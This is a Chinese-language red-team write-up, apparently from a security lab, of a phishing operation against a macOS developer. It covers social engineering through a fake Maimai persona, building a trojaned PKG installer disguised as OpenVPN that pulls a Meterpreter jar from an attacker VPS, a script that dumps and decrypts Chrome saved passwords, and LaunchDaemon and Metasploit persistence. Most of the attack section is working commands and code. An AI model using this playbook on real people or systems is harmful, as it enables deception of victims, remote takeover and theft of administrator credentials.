一
前言
该目标在脉脉平台活跃度很高,经常发表工作相关的评论,经常在工作相关话题下答疑,活跃、热心、工作经验丰富且是技术岗位经理级别,因此成为攻击队头号钓鱼目标。使用伪造的脉脉身份,装作是计划入职的新员工与对方建立联系,在日常聊天中,逐步建立信任,获取对方微信等联系方式,并寻找时机发送木马诱使对方下载和安装伪装成简历的木马:
但忽略了一点是,目标公司开发团队使用的为 MacOS 系统,以往的攻防经历中制作的木马都是针对Windows和Linux系统的,因此需要制作一款针对Mac操作系统的木马。在后续持续性沟通中发现该员工是Java技术栈,因此推测在办公机器上一定存在 Java 环境,制作木马的方式就使用 Java 客户端的方式进行上线。在MacOS上,常见的可执行程序安装包分为两种 DMG、PKG,在 PKG 中可以由开发者嵌入任意的可执行脚本文件,并且直接能申请使用 root 权限。于是后续攻击尝试使用 PKG 格式的后门进行木马传递。
二
PKG后门制作阶段
2.1
环境准备
Mac终端一台、VPS一个(安装msf作为C2服务器)、WhiteBox - Packages(Mac系统pkg安装包制作工具 http://s.sudre.free.fr/Software/Packages/about.html)。
2.2
制作过程
因为目标系统安装了java,所以这里生成了一个jar的马子。
msfvenom -p java/meterpreter/reverse_tcp LHOST=vps LPORT=48356 -f jar > spring-core.jar
上线脚本(此脚本的目的是绑定在pkg文件中,这样pkg脚本一旦执行,上线脚本也会执行。这个脚本也可以填写cs的crossC2的curl命令,只不过最后上线的是CS)。
#!/bin/bash
/bin/bash -c "nohup curl http://vps:48472/spring-core.jar -o spring-core.jar ;java -jar spring-core.jar &"
接下来需要准备一个合适的APP本体,这里可以理解成捆绑的主文件,也就是发送给目标时,目标看到的程序,这里选择了OpenVPN。
下载pkg制作工具:WhiteBox - Packages(http://s.sudre.free.fr/Software/Packages/about.html)
下载后打开,选择第一个模式:
起一个名字,需要注意的是,安装包打开后的应用名就是这里的名字,这里起了个比较有欺骗性的名字SecretVPN.
该部分为全局配置:
setting中的选项基本不用动,Presentation选项卡是安装过程中各步骤的文本之类的内容,可自行定制。
注意,这里会产生一个坑点,以及最后设置preinstall.sh时,会有同样的问题,即打包时可能报错。
把Presentation中引用的文本文件以及preinstall.sh,都放置到项目文件夹内即可。或者以root权限启动WhiteBox - Packages。
接下来开始进行项目设置。点击左侧项目名,进入项目设置。On Success是可以设置一些安装完成后的动作,系统支持的比较少,这里可以不设置,或结合自身需求设置。
Options中的Require admin password for installtion选项,勾选后安装过程会请求输入用户密码。勾选此项木马上线时为root权限。
放入App本体:将本机Applactions目录下的真实App拖入该界面虚拟目录Applactions中,表示安装后该App将会被安装到/Applactions目录。
这里是正常的OpenVPN安装完之后是一个文件夹+一个快捷方式的形式,其他大部分应用比较常见的应该还是只有一个软件包的比较多。总之就是,抄袭的目标应用安装完成后Application目录有什么,就在Packages虚拟目录里放什么。
接下里进入最终环节,植入上线脚本:
pkg木马关键之处在于Scirpt可以指定脚本,Preinstall.sh将会在安装开始前执行,Postinstall.sh将会在安装完成后执行。如果将两个地方都指定为上线脚本,安装一次将会收到两个反弹shell。
2.3
成功上线
在前期在微信上做了大量沟通之后,目标员工已经对我方伪装的身份拥有了足够的信任,并且每天都主动和我们进行聊天交谈,我方见时机已经足够成熟,于是将pkg程序发送给目标后,目标点击后成功上线。
这里可以看到当输入shell时候并不会成功,解决方法就是cd到一个目录后再执行如下:
三
浏览器密码抓取
在获取目标权限之后,需要对目标进行信息收集最常见收集的信息就包括浏览器账号密码,IM聊天记录等,目标使用的是Chrome浏览器,解密Chrome浏览器密码需要两个条件,第一就是 Login Data,第二就是 Login Data 的加密密钥。我们知道Chrome浏览器是将密码信息存储在 Login Data 中,所以可以使用C2提前将Login Data下载到本地,但是该文件会被加密,需要用到钥匙串中的密钥,使用下面的命令即可获取。
security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'
在运行上述命令时会弹窗提醒,介于大多数人的对于Mac的使用习惯都会输入密码。当然我们的目标也不例外。成功获取到key:
于是通过下面py脚本在本地即可获取信息,(也可以在目标电脑上直接使用,但是使用时将key和user替换成目标的信息即可):
import sqlite3, os, binascii, subprocess, base64, sys, hashlib, glob
loginData = glob.glob("%s/Library/Application Support/Google/Chrome/Profile*/Login Data" % os.path.expanduser("~"))
if len(loginData) == 0:
loginData = glob.glob("%s/Library/Application Support/Google/Chrome/Default/Login Data" % os.path.expanduser("~")) #attempt default profile
safeStorageKey = subprocess.check_output("security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'", shell=True).replace("\n", "").replace("\"", "")
print(safeStorageKey)
if safeStorageKey == "":
print "ERROR getting Chrome Safe Storage Key"
sys.exit()
def chromeDecrypt(encrypted_value, iv, key=None): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
hexKey = binascii.hexlify(key)
hexEncPassword = base64.b64encode(encrypted_value[3:])
try: #send any error messages to /dev/null to prevent screen bloating up
decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword), shell=True)
except Exception as e:
decrypted = "ERROR retrieving password"
return decrypted
def chromeProcess(safeStorageKey, loginData):
iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
key = hashlib.pbkdf2_hmac('sha1', safeStorageKey, b'saltysalt', 1003)[:16]
fd = os.open(loginData, os.O_RDONLY) #open as read only
database = sqlite3.connect('/dev/fd/%d' % fd)
os.close(fd)
sql = 'select username_value, password_value, origin_url from logins'
decryptedList = []
with database:
for user, encryptedPass, url in database.execute(sql):
if user == "" or (encryptedPass[:3] != b'v10'): #user will be empty if they have selected "never" store password
continue
else:
urlUserPassDecrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chromeDecrypt(encryptedPass, iv, key=key).encode('ascii', 'ignore'))
decryptedList.append(urlUserPassDecrypted)
return decryptedList
print(chromeProcess("key","/Users/user/Library/Application Support/Google/Chrome/Default/Login Data"))
获取浏览器密码成功。
在保存的密码中就包括 DevOps 平台管理员密码, 内网4A系统管理员密码,利用这些系统即可获取到核心权限。
四
权限维持
通过钓鱼上线的目标是一定一定要做权限维持的。这里因为笔者的截图不在了,所以就不放截图了,主要介绍两种方式,会将相关命令贴给大家。
4.1
手动权限维持
其实就是通过mac自带的任务计划plist来进行维持,只不过mac下的语法不大一样,需要自行学习,将下面内容保存成/Library/LaunchDaemons/com.ali.plist 每两分钟弹一次计算器(实战中更改<string>值为你要执行的后门即可)。
#通过编写plist文件来实现任务计划
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.config</string>
<key>ProgramArguments</key>
<array>
<string>open</string>
<string>-a</string>
<string>calculator</string>
</array>
<key>StartInterval</key>
<dict>
<key>Minute</key>
<integer>2</integer>
</dict>
<key>KeepAlive</key>
<true/>
<key>OnDemand</key>
<true/>
<key>RunAtLoad</key>
<true/>
<key>StandardOutPath</key>
<string>/tmp/water.log</string>
<key>StandardErrorPath</key>
<string>/tmp/water.err</string>
</dict>
</plist>
plist相关命令:
#plitil命令验证编写的list是否正确
plutil com.sougo.Managers.list
#执行任务
launchctl start *.list
#停止任务
launchctl stop *.list
#卸载任务
launchctl unload *.list
# 加载任务, -w选项会将plist文件中无效的key覆盖掉,建议加上
launchctl load -w *plist
# 删除任务
launchctl unload -w *.plist
# 查看任务列表, 使用 grep '任务部分名字' 过滤
launchctl list | grep 'com.apple.config'
4.2
MSF自动化维持
可以看到通过mac自带的任务计划进行权限维持比较麻烦,msf提供了一个关于mac的权限维持的模块,这个模块和上面的方式原理是一样的。
msf > use exploit/osx/local/persistence --直接use这个模块
msf > set RUn_NOW true
msf > set session sessionId
msf > set payload
msf > expliot --会返回一个回话,此时mac任务计划已经做好了
msf > use exliot/multi/hander
msf > set payload osx/x64/meterpreter/reverse_tcp
msf > set lhost vps-ip
msf > set lport 1-65535
msf > exploit
五
参考文章
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/osx/local/persistence
https://payloads.online/archivers/2021-11-23/1/
https://www.jianshu.com/p/b65c1d339eec
https://xz.aliyun.com/t/10528#toc-7
(chunn1&[email protected]边界无限烛龙实验室供稿)
招聘信息
边界无限烛龙实验室
专注于漏洞挖掘、渗透技术等攻防技术研究于突破,从底层原理深入到一线实战对抗逐层铺开技术研究,深入解构攻与防的本质。团队核心成员来自于知名云厂商的各大安全实验室,拥有丰富的攻防对抗的工作经验,多次在国家、省级攻防演练中名列前茅。曾挖掘过 Google、微软、腾讯、阿里等国际知名厂商的安全漏洞并提供相关安全建议,同时团队成员研究成果在Defcon、ZeroNight、HITB等国际知名安全会议进行演示。